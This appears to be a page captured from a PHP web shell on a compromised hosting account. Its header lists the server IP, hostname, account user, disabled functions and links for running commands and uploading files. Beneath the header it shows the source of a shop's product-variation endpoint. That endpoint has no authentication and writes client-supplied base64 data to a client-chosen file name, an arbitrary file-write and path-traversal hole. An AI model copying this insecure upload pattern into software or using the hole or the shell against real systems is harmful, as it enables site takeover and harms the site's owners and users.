|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/.nvm/../public_html/lohri/vendor_admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
header('Content-Type: application/json');
session_start();
include "../config/config.php";
include "../config/db.php";
try {
$pdo = new PDO("mysql:host=localhost;dbname=your_database", $username, $password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$product_id = $_POST['product_id'] ?? 1;
$variation_options_json = $_POST['variation_options'] ?? null;
$variations_json = $_POST['variations'] ?? null;
$variation_options = json_decode($variation_options_json, true) ?: [];
$variations = json_decode($variations_json, true);
$pdo->beginTransaction();
// Delete existing
$pdo->prepare("DELETE FROM product_variations WHERE PID = ?")->execute([$product_id]);
$pdo->prepare("DELETE FROM product_variation_options WHERE PID = ?")->execute([$product_id]);
$variation_ids = [];
// Insert variation options
if (!empty($variation_options)) {
$option_stmt = $pdo->prepare("INSERT INTO product_variation_options (PID, option_name, option_values, position) VALUES (?, ?, ?, ?)");
$position = 0;
foreach ($variation_options as $option_name => $option_values) {
$option_stmt->execute([$product_id, $option_name, json_encode($option_values), $position++]);
}
}
// Insert variations
$variation_stmt = $pdo->prepare("INSERT INTO product_variations (PID, variant_title, price, sku, barcode, quantity, hsn_code, image_path, variant_data, position) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
foreach ($variations as $variation) {
$image_path = '';
if (!empty($variation['image_base64'])) {
$image_path = saveVariantImage($variation['image_base64'], $variation['image_name']);
}
$variation_stmt->execute([
$product_id,
$variation['variant_title'],
$variation['price'],
$variation['sku'] ?: null,
$variation['barcode'] ?: null,
$variation['quantity'],
$variation['hsn_code'] ?: null,
$image_path,
json_encode($variation['variant_data']),
$variation['position']
]);
$variation_ids[] = $pdo->lastInsertId();
}
$pdo->commit();
echo json_encode(['success' => true, 'message' => 'Variations saved successfully', 'variation_ids' => $variation_ids, 'count' => count($variations)]);
} catch (Exception $e) {
if (isset($pdo)) $pdo->rollback();
echo json_encode(['success' => false, 'message' => $e->getMessage()]);
}
function saveVariantImage($base64_data, $filename) {
$image_data = preg_replace('#^data:image/\w+;base64,#i', '', $base64_data);
$image_data = base64_decode($image_data);
$upload_dir = '../Images/Product/';
if (!is_dir($upload_dir)) mkdir($upload_dir, 0755, true);
$file_path = $upload_dir . $filename;
return file_put_contents($file_path, $image_data) ? $file_path : false;
}
?>